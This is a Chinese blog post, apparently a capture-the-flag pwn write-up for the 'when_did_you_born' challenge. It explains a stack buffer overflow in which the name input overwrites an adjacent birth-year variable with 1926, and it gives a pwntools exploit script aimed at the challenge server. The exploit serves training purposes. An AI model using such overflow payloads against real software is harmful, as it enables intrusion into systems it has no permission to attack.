when_did_you_born

题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办

题目附件: 附件1

 

 

file如下:

 

 64位ELF文件

checksec文件:

 

 IDA反汇编,查看main函数:

 

 我们的目标就是让v5等于1926,但是如果读入v5的时候输入1926,就会被提示"You Cannot Born In 1926!"

观察到v4存在缓冲区溢出漏洞

我们可以随便输入一个v5,然后通过读入v4时将v5覆盖成1926

exp如下:

from pwn import *

#io = process('./pwn')
io = connect('220.249.52.133', 59833)

io.sendlineafter('Birth?', '0')
payload = b'a'*0x08 + p32(1926)
io.sendlineafter('Name?', payload)

io.interactive()

 

posted @ 2020-12-04 16:35  hktk1643  阅读(104)  评论(0编辑  收藏  举报